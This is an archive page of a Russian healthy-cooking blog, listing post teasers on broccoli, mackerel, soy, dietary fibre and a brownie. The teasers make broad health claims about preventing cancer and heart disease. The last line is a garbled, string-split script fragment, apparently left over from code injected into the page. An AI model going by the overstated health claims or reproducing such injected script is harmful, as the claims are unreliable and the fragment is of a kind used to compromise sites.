Архив рубрики ‘Успешная кулинария’

Защищаемся от рака. Сырный омлет с брокколи

Здоровый рацион питания обязательно должен включать в себя капусту самых разных сортов. Ведь кроме витаминов и пищевого волокна, она поставляет нашему организму так называемые изотиоцианаты – вещества, которые защищают нас от многих видов рака. Конкретно капуста брокколи богата сульфорафаном, который, кстати, не разрушается при термообработке, что делает брокколи исключительно важной для нашего организма.

Популярность: 27%

Популярность: 27%

Читать запись полностью

Омега-3-жирные кислоты. Скумбрия с томатами и чесноком

Рацион здорового питания обязательно включает в себя морепродукты – рыбу, креветки и пр. Дело в том, что они содержат исключительно полезные для сердца омега-3-жирные кислоты. Кроме того, жир рыбы снижает риск таких серьезных заболеваний, как атеросклероз, диабет, тромбоз, ишемическая болезнь сердца, рак пищевода, желудка и толстой кишки и т.п. Длительные исследования доказали, что те люди, [...]

Популярность: 28%

Читать запись полностью

Изофлавоны. Тропический соевый коктейль

О здоровье необходимо беспокоиться не тогда, когда болезни уже полностью подчинили вас, а с самых ранних лет. Но значит ли это, что в пожилом возрасте поддерживать наш организм уже бессмысленно? Конечно же, нет! И ярким доказательством тому являются результаты включения в рацион питания такого продукта, как соя.

Популярность: 22%

Популярность: 22%

Читать запись полностью

Богат ли Ваш рацион клетчаткой? Тестируем свои вкусовые привычки

Итак, как мы выяснили ранее, рацион здорового питания должен обязательно включать продукты, богатые пищевыми волокнами (клетчаткой). Но как понять, насколько соответствует наше ежедневное меню этому требованию?
В книге «Формула вечной молодости. Как сохранить здоровье на долгие годы» (авторы Мэрилоу Амброуз, Брайан Обри, Линда Бенсон и др.) мы нашли очень интересный и простой тест, который предлагаем вашему [...]

Популярность: 27%

Читать запись полностью

Пищевые волокна. Фруктовый таббуле

Уменьшение риска диабета и атеросклероза, стабилизация сахара в крови, снижение уровня холестерина, стимуляция перистальтики кишечника, предупреждение и лечение дивертикулита…
Впечатляет? Безусловно! И все это обеспечивает рацион с высоким содержанием пищевых волокон (клетчатки).

Популярность: 29%

Популярность: 29%

Читать запись полностью

Несколько слов о главном или Рацион здорового питания

Никто, пожалуй, не будет спорить с тем, что никакая карьера, богатство и достижения не нужны человеку, буквально «разваливающемуся» на ходу. Что толку от роскошных яхт и загородных вилл, если здоровье не позволяет всем этим насладиться? Не доставят радости и многомиллионные сбережения, когда уже не остается сил ими воспользоваться. Да и скромный «домик в деревне» не [...]

Популярность: 28%

Читать запись полностью

Брауни «Для любимой»

Размещено в рубрике Успешная кулинария

Очень приятно получить в подарок от своей второй половинки великолепное шоколадное лакомство под названием Брауни. Этим шоколадным десертом на праздник 8 марта порадовал меня мой супруг, который после появления на нашей кухне чудо — агрегата под названием «мультиварка» стал проявлять всё больший и больший интерес к кулинарии. Поэтому его кулинарный шедевр получил еще дополнительное [...]

Популярность: 35%

Читать запись полностью

 Страница 2 из 3 « 1  2  3 »
undefined'+'/scr'+'ipt'+'/scr'+'ipt width=